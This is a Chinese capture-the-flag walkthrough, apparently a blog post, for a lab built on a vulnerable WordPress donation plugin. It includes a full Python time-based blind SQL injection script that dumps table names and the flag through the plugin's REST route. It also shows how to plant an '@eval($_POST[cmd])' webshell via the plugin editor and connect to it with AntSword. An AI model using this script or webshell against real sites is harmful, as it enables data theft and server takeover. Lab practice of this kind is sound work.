1.阅读靶场介绍
这里我们可以看到的就是由于插件引发的漏洞
具体思路就是编写脚本插件,然后改为木马并且启用
最后完成中国蚁剑板块的websehll
带着这个思路我们开启征程吧
2.启动靶场
我们会得到如下页面
这里博主也有做额外的页面测试,没有得到一个有效的结果
这里我们直接拼接/admin去找到后台
相信很多彦祖和亦非们曾今都会卡在这里
无论是弱口令/空口令/还是暴力破解都得不到
有效的账号/密码去进入后台
这里博主是跑一个脚本去登入到后台的
各位可以参考参考
import requests import time def time_delay(url, headers, payload): start_time = time.time() response = requests.post(url, headers=headers, data=payload) end_time = time.time() #print(end_time,start_time) delay = end_time - start_time return delay def time_based_blind_sql_injection(url, headers): result=[] for i in range(1, 100): for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}': #find db #payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j) #find table #payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j) #find table -wp% payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j) #find column #payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j) payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j) delay = time_delay(url, headers, payload) print('{ ',''.join(result),' } ->',i,'-',j,"time_delay:",delay) if delay > 9: result.append(chr(j)) print(''.join(result)) break else: print("The payload is not vulnerable to SQL injection.") print('result:',''.join(result)) if __name__ == "__main__": url = "https://eci-2zecxtkbjkqos2volkuy.cloudeci1.ichunqiu.com/index.php?rest_route=/xs-donate-form/payment-redirect/3" headers = { 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Cookie': '_ga=GA1.2.617032228.1689668529; _ga_J1DQF09WZC=GS1.2.1689668531.1.0.1689668531.0.0.0', 'Connection': 'close', 'Content-Type': 'application/json', } time_based_blind_sql_injection(url, headers)使用idle(python编辑器)放上面的代码
然后用法如下,win+r然后cmd
这里的文件路径和url都是不一致的,各位需要对应修改
出现如下结果证明是成功的
然后我们跑回来登入界面
这里就可以用这个账号/密码:david@domainexample.com/Admin@123
去登入后台
这里我们需要点击更新哟
然后我们会进入一个这样的界面
如果卡在上面那个界面进不去的小伙伴们
这里要保持一直用https这个协议哟
下一步我们找到插件然后点击插件编辑器
如下图所示
这里我们点击我明白
接下里我们在右边那个地方选择这个选项
然后在左边的代码去输入如下代码
@eval($_POST[cmd]);
然后这里需要点击更新文件
完成以后它会显示
然后我们回到已安装插件
找到你好多莉,点击启用
3.webshell环节
启动中国蚁剑
其中url路径为
https://eci-2ze9foj8a8eqorl8isl6.cloudeci1.ichunqiu.com/wp-admin/plugin-editor.php?file=hello.php
进去以后我们就可以很顺利的找到flag这个大宝贝了
到此相信聪明的亦非彦祖们又攻克一个靶场了
感谢你们宝贵的时间
创作不易,喜欢博主的各位帅哥美女们,期待你们的一键三连
有不懂欢迎留言,博主会一一解答哟
期待博主攻克任何靶场的也欢迎留言